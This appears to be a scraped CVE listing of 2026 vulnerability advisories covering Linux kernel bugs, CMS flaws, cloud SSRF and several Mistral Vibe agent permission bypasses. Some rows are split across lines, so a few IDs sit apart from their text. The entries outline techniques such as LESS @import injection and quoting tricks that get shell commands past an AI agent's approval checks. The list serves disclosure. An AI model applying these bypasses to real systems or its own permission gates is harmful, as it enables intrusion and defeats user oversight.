CVE-2026-19486	A Server-Side Request Forgery (SSRF) vulnerability in Google Cloud Gemini Enterprise Agent Platform App Builder versions prior to 2026-06-01 on Google Cloud Platform allows an unauthenticated attacker to leak the Compute Engine default service account access token. This vulnerability was patched on 01 June 2026. Users will need to redeploy their previously deployed apps.	N/A	More Details
CVE-2026-87727	a-blog cms Ver. 3.2.33 and earlier contains a path traversal vulnerability, which allows an unauthenticated attacker to read or delete arbitrary files on the affected product.	N/A	More Details
CVE-2026-47839	A vulnerability allows users authenticating through a federated OIDC provider to obtain the uaa.admin scope despite operators restricting that provider through externalGroupsWhitelist configuration. The issue occurs specifically when an OIDC identity provider uses groupMappingMode: AS_SCOPES with a wildcard externalGroupsWhitelist entry.	N/A	More Details
CVE-2026-15710	An information leakage vulnerability exists in the Endpoint DLP component (epdlpdrv.sys) of Netskope Client for Windows prior to version R141. An internal communication channel used by the user-space hook DLL to pass messages through the kernel driver to the daemon lacked proper token-based message validation, allowing local unprivileged processes to send unauthorized queries. Additionally, a reply buffer used by the port message handler was not properly initialized before returning data, leaking residual kernel pool memory from prior allocations. A local unprivileged attacker could exploit this vulnerability to enumerate DLP configuration and feature flags, extract live session tokens, and read kernel memory fragments from other users' operations.	N/A	More Details
CVE-2026-85979	Affected versions of Puppet Enterprise contain a command injection vulnerability in the handling of the java_keystore_passwd parameter. An authenticated user with Puppet administrative privileges can inject arbitrary shell commands by providing a specially crafted value for this parameter, which is passed to a shell execution context without sufficient sanitization. Because the resulting commands are executed with root privileges, successful exploitation can lead to full compromise of the affected system.	N/A	More Details
CVE-2026-87983	An arbitrary file read vulnerability in Mistral Vibe, introduced in version 2.6.0, allows an attacker to bypass workspace restrictions using quoted absolute paths in allowlisted shell commands. Improper handling of quotation marks during path validation enables files outside the active workspace to be read without user approval.	N/A	More Details
CVE-2026-87984	An arbitrary file write vulnerability in Mistral Vibe, introduced in version 1.3.4, allows an attacker to create or overwrite files outside the active workspace without user approval. Shell redirection destinations are omitted from permission checks, enabling otherwise allowlisted commands to write to arbitrary paths accessible to the Vibe process.	N/A	More Details
CVE-2026-87985	An arbitrary code execution vulnerability in Mistral Vibe allows an attacker to bypass command permission checks using ANSI-C quoted arguments. These arguments are not properly inspected, enabling a crafted allowlisted command to execute arbitrary code on the user's system without approval.	N/A	More Details
CVE-2026-90460	An issue was discovered in OpenStack Keystone before 29.0.3. Tokens obtained via delegated authentication methods (EC2 credentials, application credentials, OAuth1 access tokens, and trusts) are not blocked from creating, modifying, or deleting credentials via the /v3/credentials API. EC2-derived tokens can additionally read credential blobs, exposing TOTP MFA seeds and other secrets. Also, PATCH /v3/credentials does not validate the requested post-update project_id, allowing any delegated token to move a credential to an unauthorized project. All Keystone deployments using delegated authentication are affected.	N/A	More Details
	The administrative password is hashed using a comparatively weak, fast algorithm for the credential store		

CVE-2026-90457	backing one authentication path, and the file containing that hash is written with permissions allowing it to be read by any local user. This is inconsistent with a separate, stronger hashing algorithm used for the same password on another authentication path. A party able to read this file, including a local user or a party with access to a configuration backup, could feasibly recover the underlying password through offline computation, compromising the administrative credential across every path that accepts it.	N/A	More Details
CVE-2026-90456	An example environment-configuration file for a bundled inventory-management component ships with a fixed, publicly-known administrative password. A deployment that copies this example file into active configuration without running the setup routine that regenerates credentials will expose that component's administrative interface to anyone aware of the default value.	N/A	More Details
CVE-2026-90455	A prior update that raised a bundled HTTP client library to a version remediating known vulnerabilities was later reverted, reintroducing the earlier, vulnerable version into a log-processing component. The only code path in that component using the library issues a request to a single fixed, trusted vendor URL at initialization and does not process attacker-controlled input through the library, limiting practical exploitability of the reintroduced version in this context.	N/A	More Details
CVE-2026-90454	A deployment mode intended to expose only read access to a bundled packet-analysis component's interface denies a list of write-capable routes by pattern, but the pattern omits routes that modify tags attached to stored session records, and the proxy configuration otherwise permits the request method those routes use. This allows an authenticated user on a deployment intended to be read-only to add or remove tags on stored session records.	N/A	More Details
CVE-2026-90453	A file-upload handler redirects the authenticated client's browser to a URL taken directly from that same request's Referer header, without validating it against the application's own origin. This allows an authenticated attacker to craft a request that causes another user's browser to be redirected to an arbitrary external destination after completing an upload.	N/A	More Details
CVE-2026-90452	Requests from the reverse proxy to the identity-provider service for token discovery, introspection, and credential exchange do not verify the identity provider's server certificate. An attacker positioned on the network path between the proxy and the identity provider could impersonate the identity provider and issue forged authentication tokens accepted by the deployment.	N/A	More Details
CVE-2026-90451	An example environment-configuration file ships with a fixed, publicly-known secret value used to sign authentication cookies for a bundled packet-analysis component. A deployment that copies this example file into active configuration without running the setup routine that regenerates the value will use the known default, allowing an attacker aware of the default to forge valid authentication cookies for that component.	N/A	More Details
CVE-2026-90450	The application's role-authorization lookup defaults to granting access when a request handler's name is not present in its table of role requirements, rather than defaulting to deny. Any request handler that is not explicitly registered in this table is reachable by any authenticated user regardless of their assigned role, and any newly added handler is fail-open by default until explicitly added to the table.	N/A	More Details
CVE-2026-90449	When a particular authentication mode is configured, the reverse proxy forwards requests for a bundled third-party administrative interface directly to that interface without applying the gateway's own authentication requirement first. All access control for this administrative interface, which manages the credential store used to gate every other service in the deployment, is delegated entirely to that third-party interface's own login mechanism. Any authentication weakness in that bundled interface would compromise the credential store protecting the rest of the deployment.	N/A	More Details
CVE-2026-90448	A deployment mode intended to expose only read access to stored data proxies a set of application programming interface routes without restricting which request methods are allowed. One such route accepts a request that creates or overwrites a stored record, including an attacker-chosen identifier, using the application's own elevated backend credentials. This allows an authenticated user on a deployment intended to be read-only to forge or overwrite stored records that should not be modifiable in that deployment mode.	N/A	More Details
CVE-2026-90447	A routing rule selects between two different authentication mechanisms for the same downstream service based on the value of a client-supplied request header, rather than on any property the client cannot control. An authenticated user in possession of a shared service credential can set this header to route around the primary role-based authorization check and reach the alternate path's fixed, elevated role instead. This allows a low-privileged authenticated attacker who knows the shared credential to perform actions reserved for a higher-privileged role.	N/A	More Details
CVE-2026-90446	An application programming interface endpoint accepts a user-supplied value and interpolates it directly into the path of a backend request to the underlying search and analytics data store, without restricting its contents. This allows an authenticated attacker to substitute an arbitrary backend path, causing the application's own elevated service credentials to be used against unintended internal endpoints. This could allow an attacker to enumerate or read internal configuration and administrative data from the backend data store that would otherwise be restricted.	N/A	More Details
	An interface that accepts file uploads from authenticated users extracts the contents of uploaded archives without validating that extracted file paths remain within the intended destination directory. This allows an		

CVE-2026-90445	authenticated attacker to craft an archive whose entries traverse outside the destination directory, causing the extraction process to write files to arbitrary locations with the privileges of that process. This could allow an attacker to inject fabricated records into the system's stored data or tamper with application configuration.	N/A	More Details
CVE-2026-89773	In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Skip Update HDCP Config In Transition State Transition state does not have a valid dm_stream_ctx that should skip configuring HDCP routine. The routine is valid to go through only when a valid stream is created.	N/A	More Details
CVE-2025-69904	Linkstack v4.8.4 and earlier is vulnerable to Path Traversal, which allows an administrator to read arbitrary files on the server by manipulating file path input. Successful exploitation may lead to unauthorized access to sensitive system or application files.	N/A	More Details
CVE-2026-89719	In the Linux kernel, the following vulnerability has been resolved: zram: fix out-of-bounds access in read_block_state() read_block_state() calculates nr_pages before taking dev_lock. If the device is reset and reinitialized with a smaller disksize before lock acquisition, nr_pages still describes the old table. The subsequent loop can then call slot_lock() past the end of the newly allocated table. Read disksize after acquiring dev_lock and checking that the device is initialized. The read lock then keeps the table and its bound stable for the duration of the scan.	N/A	More Details
CVE-2026-80948	In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: dvm: fix memory leak in iwl_op_mode_dvm_start() In iwl_op_mode_dvm_start(), jumping to out_free_eeprom currently bypasses the out_free_eeprom_blob label. Consequently, error paths triggered after successfully parsing the EEPROM free priv->nvm_data but leak priv->eeprom_blob. Fix this memory leak by reordering the error handling labels so that out_free_eeprom falls through to out_free_eeprom_blob. The bug was first flagged by an experimental analysis tool we are developing for kernel memory-management bugs while analyzing v6.13-rc1. The tool is still under development and is not yet publicly available. Manual inspection confirms that the bug is still present in v7.1-rc6. An x86_64 allyesconfig build showed no new warnings. As we do not have supported Intel DVM wireless hardware and firmware to test with, no runtime testing was able to be performed.	N/A	More Details
CVE-2026-80951	In the Linux kernel, the following vulnerability has been resolved: i3c: master: svc: bound IBI payload to the requested max_payload_len svc_i3c_master_handle_ibi() reads the IBI payload from the RX FIFO into the IBI slot. The loop is bounded by the hardware FIFO size (SVC_I3C_FIFO_SIZE), not by the slot size. slot->data points into the IBI pool, which i3c_generic_ibi_alloc_pool() sizes at max_payload_len per slot. svc_i3c_master_request_ibi() only rejects a max_payload_len larger than SVC_I3C_FIFO_SIZE, so a driver can request a smaller one. mctp-i3c requests 1. Each readsb() then copies the controller RXCOUNT bytes (up to 31) with no check against the slot size. A device that sends more bytes than the slot holds writes past slot->data, an out-of-bounds write into the IBI pool. Bound the loop by dev->ibi->max_payload_len and clamp each read to the space left in the slot, the same way dw-i3c does. A device can still send more than the requested payload. Flush the leftover bytes from the RX FIFO so they do not leak into the next transfer.	N/A	More Details
CVE-2026-80956	In the Linux kernel, the following vulnerability has been resolved: dm-pcache: only hand out initialized cache segments get_cache_segment() scans the segment map up to cache->n_segs, the physical device segment count, but cache_segs_init() only initializes the first cache_info->n_segs segments. A crafted image with cache_info->n_segs smaller than the device count leaves the remaining pcache_cache_segment structs zeroed (segment.data == NULL), and the allocator can hand one to cache_kset_close(), which writes through the returned segment's data pointer with no NULL check. Bound the allocator's search to cache_info->n_segs so only initialized segments are ever returned. A conforming cache sets n_segs equal to the device segment count, so this rejects nothing legitimate.	N/A	More Details
CVE-2026-89740	In the Linux kernel, the following vulnerability has been resolved: serial: imx: serialize imx_uart_ports[] lifetime imx_uart_probe() publishes its devm-allocated port in imx_uart_ports[] before uart_add_one_port() because console setup uses the table. The entry is not cleared when adding the port fails or after removal, leaving a dangling pointer. A sibling probe can register the shared console through that stale entry. This was reproduced under KASAN on QEMU mcimx6ul-evk by unbinding a sibling UART, unbinding the console UART and rebinding the sibling. Keep the entry valid through uart_remove_one_port(), then clear it. Protect port addition and removal together with their table updates so sibling operations cannot interleave. Reject an occupied slot rather than clobbering an active port during a duplicate-line probe.	N/A	More Details
CVE-2026-89739	In the Linux kernel, the following vulnerability has been resolved: usb: dwc3: gadget: Fix use-after-free in dwc3_gadget_free_endpoints due to race condition In dwc3_gadget_init_endpoint, &dep->nostream_work is bound with dwc3_nostream_work, and dwc3_gadget_endpoint_stream_event can queue this delayed work on system_percpu_wq when a DEPEVT_STREAM_NOSTREAM event is received. If we remove the gadget, dwc3_gadget_free_endpoints makes cleanup and the memory allocated for dep with kzalloc() is released by kfree(dep), while the delayed work mentioned above may still be pending or running. The sequence of operations that may lead to a UAF bug is as follows: CPU0 CPU1 | dwc3_thread_interrupt | dwc3_endpoint_interrupt | dwc3_gadget_endpoint_stream_event | queue_delayed_work(system_percpu_wq, | &dep->nostream_work) dwc3_gadget_free_endpoints | dwc3_free_trb_pool(dep) | list_del(&dep->endpoint.ep_list) | dwc3_debugfs_remove_endpoint_dir(dep) | kfree(dep) | // dep is freed | | dwc3_nostream_work | // use dep (use-after-free) Fix it by canceling the delayed work before kfree(dep) in	N/A	More Details

	dwc3_gadget_free_endpoints.		
CVE-2026-80957	In the Linux kernel, the following vulnerability has been resolved: dm-pcache: detect a cycle in the last-kset chain during replay cache_replay() follows the on-media last-kset chain by next_cache_seg_id with no cond_resched(). A forged chain that points back into a segment it has already visited makes the replay loop follow it forever. Cap the last-kset hops at cache->n_segs; a valid chain visits each segment at most once.	N/A	More Details
CVE-2026-89737	In the Linux kernel, the following vulnerability has been resolved: usb: typec: thunderbolt: Disable work before freeing tbt on remove tbt_altmode_remove() drops the plug and cable references without draining tbt->work. The work function dereferences those references, and can also requeue itself in its error path. The VDM callbacks can queue the same work item. Disable and drain tbt->work before dropping the references. This waits for an existing invocation and prevents subsequent schedule_work() calls from queueing it during teardown. This issue was found by an in-house static analysis tool and confirmed by manual code review.	N/A	More Details
CVE-2026-80960	In the Linux kernel, the following vulnerability has been resolved: dm-pcache: validate on-media seg_num against the cache device size seg_num is read from the crc32c-only superblock, so whoever supplies the cache device on a table load (CAP_SYS_ADMIN) controls it. It sizes cache->segments[] and is the value every later on-media segment id is bounded against, yet it is never checked against the device. Because cache_dev->mapping is the direct map of the pmem, CACHE_DEV_SEGMENT() for a segment id past the device resolves to ordinary kernel memory beyond the mapping; a new-cache init reaching such an id has cache_seg_init() -> cache_dev_zero_range() memset() 12 KiB over that memory -- an out-of-bounds write into the kernel heap at table load. A zero seg_num makes the segment allocations ZERO_SIZE_PTR. Reject a seg_num that is zero, larger than the device can hold, or larger than PCACHE_CACHE_SEGS_MAX before it is used.	N/A	More Details
CVE-2026-89735	In the Linux kernel, the following vulnerability has been resolved: usb: gadget: midi2: remove default configfs groups on teardown f_midi2_alloc_inst() creates default configfs child groups for the default endpoint and default block using configfs_add_default_group(), setting their internal refcount to 1. However, during function teardown in f_midi2_free_inst() or EP cleanup in f_midi2_ep_opts_release(), configfs_remove_default_groups() is never called, therefore never dropping the refcount and leaking struct f_midi2_ep_opts and f_midi2_block_opts. Add the missing configfs_remove_default_groups() in the afformentioned functions to free the structs properly.	N/A	More Details
CVE-2026-89734	In the Linux kernel, the following vulnerability has been resolved: usb: gadget: uvc: Fix null pointer dereference in uvcg_video_init() In uvcg_video_init(), if kthread_run_worker() fails, the error logged uses uvcg_err(), however, the pointer it uses: video->uvc is not assigned at this point, triggering a null pointer dereference. Fix this by directly using uvc->func which is assigned already.	N/A	More Details
CVE-2026-80963	In the Linux kernel, the following vulnerability has been resolved: dm-stats: fix a crash if allocation of per-cpu data fails If "dm_kvzalloc(percpu_alloc_size, cpu_to_node(cpu))" fails, the code jumps to the "out" label and calls dm_stat_free. dm_stat_free does "for_each_possible_cpu(cpu) { dm_kvfree(s->stat_percpu[cpu][0].histogram, s->histogram_alloc_size);", which crashes with NULL pointer dereference if s->stat_percpu[cpu] is NULL. This commit fixes the bug by testing s->stat_percpu[cpu] for NULL before using it.	N/A	More Details
CVE-2026-89732	In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_fs: Prevent deadlock during ep0 read loop Currently, ffs_ep0_read() holds ffs->mutex when it prepares to go to sleep waiting for an event. When no setup events are pending, it calls wait_event_interruptible_exclusive_locked_irq() with the mutex still held. The wait macro deliberately drops the waitqueue spinlock before sleeping but does not drop the mutex. If a userspace daemon is polling ep0 via read() and the gadget is asynchronously torn down via configfs (e.g., echo "" > UDC), a deadlock can occur: 1. The configfs teardown calls functionfs_unbind(), which queues a FUNCTIONFS_UNBIND event. 2. The daemon wakes up, consumes the event, and drops the mutex. 3. However, if the daemon loops and immediately issues another read() before exiting, it reacquires ffs->mutex and again goes into an interruptible sleep. 4. Meanwhile, functionfs_unbind() continues execution and attempts to acquire ffs->mutex to tear down ep0req. 5. The kernel deadlocks because the configfs thread is stuck in an uninterruptible sleep waiting for the mutex, while the userspace daemon is in an interruptible sleep holding the mutex forever because no more events will arrive. To fix this, we drop both the waitqueue spinlock and ffs->mutex before going to sleep, and use wait_event_interruptible_exclusive() instead. Upon waking up, we jump back to the `retry` label to safely reacquire the mutex and re-evaluate the state machine. By not sleeping with ffs->mutex held, we natively decouple gadget teardowns (which require the mutex) from userspace polling.	N/A	More Details
CVE-2026-80964	In the Linux kernel, the following vulnerability has been resolved: ALSA: virmidi: Check card index validity at probe virmidi driver blindly trusts that the given devptr->id value is within the proper card index range at probe. It's OK for the devices the driver itself creates at the module probe time, but if the device is bound manually via sysfs interface, this could be -1 as "none", and this leads to OOB access for index[] and other parameters. Add a sanity check for the card index and warn/correct it if it's a value out of the range.	N/A	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: fpga: altera-cvp: Avoid out-of-bounds read in trailing byte write The trailing byte path in altera_cvp_send_block() dereferences a u32 pointer even when only 1-3 bytes remain in the input buffer. If the buffer ends at a page or scatterlist boundary, this can read	N/A	More Details

89730	past the valid image data and fault. Copy the remaining bytes into a zero-initialized u32 before writing the final word so only valid bytes are read from the input buffer.		
CVE-2026-80965	In the Linux kernel, the following vulnerability has been resolved: ALSA: serial-u16550: Check card index validity at probe serial-u16550 driver blindly trusts that the given devptr->id value is within the proper card index range at probe. It's OK for the devices the driver itself creates at the module probe time, but if the device is bound manually via sysfs interface, this could be -1 as "none", and this leads to OOB access for index[] and other parameters. Add a sanity check for the card index and warn/correct it if it's a value out of the range.	N/A	More Details
CVE-2026-89728	In the Linux kernel, the following vulnerability has been resolved: i3c: renesas: Fix out-of-bounds access for newdevs mask When software initiates DAA (Dynamic Address Assignment), the controller reports the result via the NRSPQP (Normal Response Queue Port Register). The data length field of the response descriptor, which is accessible through the NRSPQP register, indicates the number of devices remaining after DAA. Consequently, when the bus is empty, this field contains the maximum number of devices supported by the controller (8 for the Renesas I3C controller). Adjust the condition that computes the newly discovered devices bitmask to prevent an out-of-bounds when the I3C bus is empty.	N/A	More Details
CVE-2026-89727	In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: GICv2: Don't WARN on out-of-range GICV_DIR INTID vgic_v2_deactivate() passes the INTID a guest wrote to GICV_DIR straight to vgic_get_vcpu_irq(), and treats a failed lookup as a "can't happen" condition with WARN_ON_ONCE(). The guest can make it happen at will, though: for any INTID outside of the implemented SGI, PPI and SPI ranges the lookup returns NULL, since GICv2 has no LPIs. A guest running with EOImode==1 writing such an INTID to GICV_DIR triggers the WARN, and panics hosts running with panic_on_warn. Drop the WARN and ignore failed lookups.	N/A	More Details
CVE-2026-89726	In the Linux kernel, the following vulnerability has been resolved: lib/ucs2_string.c: fix out-of-bounds read in ucs2_strnlen() Patch series "lib/ucs2_string.c: fix out-of-bounds read in ucs2_strnlen()", v2. This series fixes an off-by-one out-of-bounds read in ucs2_strnlen(). The first patch is the real fix, the second patch comes as a bonus and fixes the code indentation. This patch (of 2): ucs2_strnlen() checks the current character before checking whether the caller-provided maximum length has been reached. If the input is not NUL-terminated within that bound, the loop can read one ucs2_char_t past the limit. Test the length before dereferencing to prevent an off-by-one out-of-bounds read.	N/A	More Details
CVE-2026-80966	In the Linux kernel, the following vulnerability has been resolved: ALSA: portman2x4: Check card index validity at probe Although portman2x4 driver has a check of the given devptr->id value, it doesn't check for a negative id, which is often given as "none" or such value when bound via sysfs. This may lead to OOB access for index[] and other parameters. Add a sanity check for the card index and warn/correct it if it's a value out of the range.	N/A	More Details
CVE-2026-80968	In the Linux kernel, the following vulnerability has been resolved: ALSA: mts64: Check card index validity at probe Although mts64 driver has a check of the given devptr->id value, it doesn't check for a negative id, which is often given as "none" or such value when bound via sysfs. This may lead to OOB access for index[] and other parameters. Add a sanity check for the card index and warn/correct it if it's a value out of the range.	N/A	More Details
CVE-2026-80969	In the Linux kernel, the following vulnerability has been resolved: ALSA: mpu401: Check card index validity at probe mpu401 driver blindly trusts that the given devptr->id value is within the proper card index range at probe. It's OK for the devices the driver itself creates at the module probe time, but if the device is bound manually via sysfs interface, this could be -1 as "none", and this leads to OOB access for index[] and other parameters. Add a sanity check for the card index and warn/correct it if it's a value out of the range.	N/A	More Details
CVE-2026-89722	In the Linux kernel, the following vulnerability has been resolved: PCI/sysfs: Fix out-of-bounds read in pci_write_legacy_io() pci_write_legacy_io() loads 4 bytes from the kernfs write buffer regardless of how many bytes userspace wrote: if (count != 1 && count != 2 && count != 4) return -EINVAL; return pci_legacy_write(bus, off, *(u32 *)buf, count); kernfs_fop_write_iter() allocates the buffer with kmalloc(len + 1), so a 1-byte write to the legacy_io sysfs file allocates 2 bytes and the unconditional u32 load reads up to 2 bytes past the end of the allocation, which KASAN reports as a slab-out-of-bounds read. Similarly, a 2-byte write overreads by 1 byte. Thus, read only the number of bytes requested using get_unaligned_le16() and get_unaligned_le32() for the 2 and 4 byte cases, interpreting the buffer as little-endian to match the byte ordering of PCI I/O port space. The PowerPC implementation previously compensated for the generic code's native-endian 32-bit load by shifting the value into place for the 1 and 2 byte cases. The shifts were only correct on big-endian kernels. On little-endian PowerPC (POWER8 and later), they extracted the wrong bytes, so a 1-byte write wrote an out-of-bounds byte instead of the requested value. On big-endian, the native load also caused out_le16() and out_le32() to reverse the user's bytes on the wire for 2 and 4 byte writes. The little-endian helpers resolve both issues, so the shifts are removed. No changes are needed for the Alpha platform. The legacy_io file is root-only and exists only on Alpha and PowerPC, the two architectures that define HAVE_PCI_LEGACY.	N/A	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: phy: rockchip-samsung-dcphy: fix out-of-range max_register The PHY register block is 64KB, so with a register stride of 4 the last accessible register sits at offset 0xfffc. max_register names 0x10000, one register past the end of the mapping: dumping the	N/A	More

89721	registers through the regmap debugfs interface reads beyond the ioremapped region and oopses on the unmapped page. The oops fires with the regmap lock held, so later PHY operations deadlock.		Details
CVE-2026-80970	In the Linux kernel, the following vulnerability has been resolved: ALSA: FCP: do not copy out an uninitialised init response fcp_ioctl_init() allocates its response buffer with kmalloc() and copies the whole buffer back to userspace: buf_size = init.step0_resp_size + init.step2_resp_size; void *resp __free(kfree) = kmalloc(buf_size, GFP_KERNEL); ... if (copy_to_user(arg->resp, resp, buf_size)) return -EFAULT; Nothing clears the buffer, and the only writer of its leading step0_resp_size bytes is the step-0 control transfer: err = snd_usb_ctl_msg(dev, usb_rcvctrlpipe(dev, 0), FCP_USB_REQ_STEP0, USB_RECIP_INTERFACE | USB_TYPE_CLASS | USB_DIR_IN, 0, private->bInterfaceNumber, step0_resp, private->step0_resp_size); if (err < 0) return err; usb_fill_control_urb() does not set URB_SHORT_NOT_OK, so a short or zero-length data stage completes with status 0 and snd_usb_ctl_msg() returns a small actual_length. The only check is err < 0, so a short transfer is accepted as success. snd_usb_ctl_msg() copies the full size back unconditionally: buf = kmemdup(data, size, GFP_KERNEL); ... memcpy(data, buf, size); Bytes the device never wrote are therefore restored into resp unchanged and copied to userspace. step0_resp_size and step2_resp_size are each validated only to 1..255, so the caller also picks the slab cache, from kmalloc-8 up to kmalloc-512. On 7.2.0-rc5 (arm64), device answering step 0 with a zero-length data stage, s0 = s2 = 255: # init_on_alloc off, no spray step0 window [0,255): nonzero=94/255 000: 00 80 60 06 00 00 ff ff 18 00 00 00 57 01 ea 01 010: 08 78 22 13 00 00 ff ff a8 c4 5f 80 00 80 ff ff # same kernel, kmalloc-512 pre-seeded with an 8-byte tag step0 window [0,255): nonzero=219/255 tagbytes=232 # identical run, init_on_alloc=1 step0 window [0,255): nonzero=0/255 tagbytes=0 # all three runs step2 window [255,510): device words matched=62/62 a8 c4 5f 80 00 80 ff ff is the little-endian kernel text address ffff8000805fc4a8. The step-2 window is unaffected, so the disclosure is exactly the step-0 region. Zero the buffer, and require the step-0 transfer to deliver the full step0_resp_size bytes so a short data stage is reported as an error. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com>	N/A	More Details
CVE-2026-80949	In the Linux kernel, the following vulnerability has been resolved: wifi: brcmfmac: Fix memory leak in brcmf_sdio_read_control() The memory allocated for buf is not freed in some of the error paths in brcmf_sdio_read_control(). Fix that by adding vfree() calls. [arend: rework as suggested by Johannes]	N/A	More Details
CVE-2026-89745	In the Linux kernel, the following vulnerability has been resolved: debugfs: Fix lockdown check for mmap_prepare Commit 651fdda8406d ("relay: update relay to use mmap_prepare") changed the `mmap` file operation to `mmap_prepare` for relayfs, but the lockdown check in debugfs was not updated accordingly. This prevents debugfs from being locked down when the kernel is in integrity mode if a file uses `mmap_prepare` but not `mmap`. Since the conversion to `mmap_prepare` across the kernel is not yet complete, update the lockdown check to look for both `mmap` and `mmap_prepare` to ensure comprehensive coverage.	N/A	More Details
CVE-2026-89770	In the Linux kernel, the following vulnerability has been resolved: iomap: don't free integrity payload that doesn't exist fs_bio_integrity_alloc might not allocate a bio integrity payload if PI verification is disabled on the block device. Check for that case before calling fs_bio_integrity_free in iomap_bio_read_folio_range_sync to avoid a NULL pointer dereferences. Make the branch cover the PI verification as well - while fs_bio_integrity_verify works without an integrity payload, it requires one to actually do useful work.	N/A	More Details
CVE-2026-80946	In the Linux kernel, the following vulnerability has been resolved: fuse: copy request headers via a stack buffer for io-uring The fuse-io-uring transport copies req->in.h out to the ring in fuse_uring_copy_to_ring() and req->out.h back in fuse_uring_commit(). Both headers live inside the fuse_request slab object, whose cache (fuse_req_cachep) is created without a usercopy whitelist, so copying them directly to/from userspace trips CONFIG_HARDENED_USERCOPY and panics: usercopy: Kernel memory exposure attempt detected from SLUB object 'fuse_request' (offset 56, size 40)! kernel BUG at mm/usercopy.c:102! Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI RIP: 0010:usercopy_abort (mm/usercopy.c:90) Call Trace: __check_heap_object (mm/slub.c:8268) __check_object_size (mm/usercopy.c:197 mm/usercopy.c:258 mm/usercopy.c:223) copy_header_to_ring (fs/fuse/dev_uring.c:618) fuse_uring_prepare_send (fs/fuse/dev_uring.c:776 fs/fuse/dev_uring.c:785) fuse_uring_send_in_task (fs/fuse/dev_uring.c:1306) tctx_task_work_run (io_uring/tw.c:96) task_work_run (kernel/task_work.c:233) io_run_task_work (io_uring/tw.h:84) io_cqring_wait (io_uring/wait.c:278) __do_sys_io_uring_enter (io_uring/io_uring.c:2685) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) Bounce both headers through an on-stack copy so the usercopy touches stack memory, not the slab object.	N/A	More Details
CVE-2026-79362	Certain Woltlab products are affected by RCE via Cache Poisoning. WCF >= 6.1.0 until < 6.1.23 and WCF >= 6.2.0 until < 6.2.6. An authenticated low-privileged user can inject PHP into executable cache files generated by WoltLab Suite Core. Attacker-controlled data can terminate the nowdoc prematurely and inject arbitrary PHP Code.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: fs: fix user path of nested backing files backing_file_open() derives the path to be stored in the new backing file from user_file->f_path. This is incorrect when user_file itself is a backing file, which is the case for nested stacking filesystems, e.g. overlayfs mounts where the lowerdir of one overlayfs is the merged directory of another. Since commit def3ae83da02 ("fs: store real path instead of fake path in backing file f_path") the f_path of a backing file holds the real path of the intermediate layer, not the path that the user opened. Commit 924577e4f6ca ("ovl:		

CVE-2026-89768	Fix nested backing file paths") fixed this for such configurations by passing file_user_path() from ovl_open_realfile(). However, commit 6af36aeb147a ("lsm: add backing_file LSM hooks") changed the first argument of backing_file_open() from the user path back to the user file and derived the path from user_file->f_path again, silently re-introducing the problem. As a result, files mapped through a nested overlayfs show the wrong path in /proc/<pid>/maps and in perf/ftrace mmap records. For example, with two nested overlayfs mounts: mkdir -p /ovl/{lower,upper,work,merged} /ovl/nested echo hello > /ovl/lower/foo mount -t overlay overlay \ -o lowerdir=/ovl/lower,upperdir=/ovl/upper,workdir=/ovl/work \ /ovl/merged # at least two lowerdirs are needed when upperdir is nonexistent mount -t overlay overlay \ -o lowerdir=/ovl/merged:/ovl/lower /ovl/nested mapping /ovl/nested/foo shows a disconnected path instead of the user path: # readlink /proc/self/fd/3 /ovl/nested/foo # grep foo /proc/self/maps 7f6e2c100000-7f6e2c101000 r--s 00000000 00:24 15813027 /foo The bogus path is derived from the f_path of the intermediate backing file, whose mount is a private clone that d_path() cannot resolve. Fix this by using file_user_path(), which returns the outermost user-visible path for backing files and falls back to &user_file->f_path for regular files. This restores the behavior of commit 924577e4f6ca ("ovl: Fix nested backing file paths") for overlayfs and also fixes the same problem for the other backing_file_open() callers, fuse passthrough and erofs ishare, when their user file is itself a backing file. backing_tmpfile_open() has the same pattern but is not affected: it is only called by ovl_create_tmpfile() for the upper layer, and another overlayfs is rejected as upperdir by the DCACHE_OP_REAL check in ovl_mount_dir_check(), so its user_file can never be a backing file.	N/A	More Details
CVE-2026-81910	Concrete CMS 9 through 9.5.2 is vulnerable to Server-Side Template Injection (SSTI) in Theme Customizer via Unvalidated Style Values. Values submitted through the customizer (color channels and other style properties handled by ColorStyle and sibling Style classes such as FontFamilyStyle and ImageStyle) are interpolated into server-compiled LESS source without neutralization of LESS syntax, allowing a user with the Theme Customization permission to inject arbitrary LESS directives. By injecting the @import (inline) directive, an attacker can read arbitrary files on the server and reach internal network resources through PHP stream wrappers. The compiled output, including any disclosed file contents, is written to the site's publicly served CSS cache, exposing database credentials, private keys, and other application secrets, and enabling server-side request forgery. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.9 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.	N/A	More Details
CVE-2026-89766	In the Linux kernel, the following vulnerability has been resolved: pidfd: hold exec_update_lock around namespace ioctl The PIDFD_GET_*_NAMESPACE ioctls in pidfd_ioctl() perform a filesystem credentials ptrace access check before handing out a namespace file descriptor. The accompanying comment states that the code "mirrors nsfs behavior", but, unlike the corresponding procfs paths, it does so without holding the target task's exec_update_lock. proc_ns_get_link() and proc_ns_readlink() both take exec_update_lock for reading around the ptrace check and the namespace lookup, so that the credentials used for the access decision match those of the task when its namespace is read. Without it, a caller can pass the check against the target's old credentials and then read the namespace after the target has execve()'d a setuid binary and committed new credentials -- accessing namespace information it should have been denied. Hold exec_update_lock for reading around the ptrace check and the namespace lookup so that pidfd truly mirrors nsfs behavior, as the comment already claims. open_namespace() itself runs outside the lock: once a namespace reference is obtained it carries its own refcount and is opened with the caller's own credentials, so a concurrent execve() on the target can no longer affect the outcome.	N/A	More Details
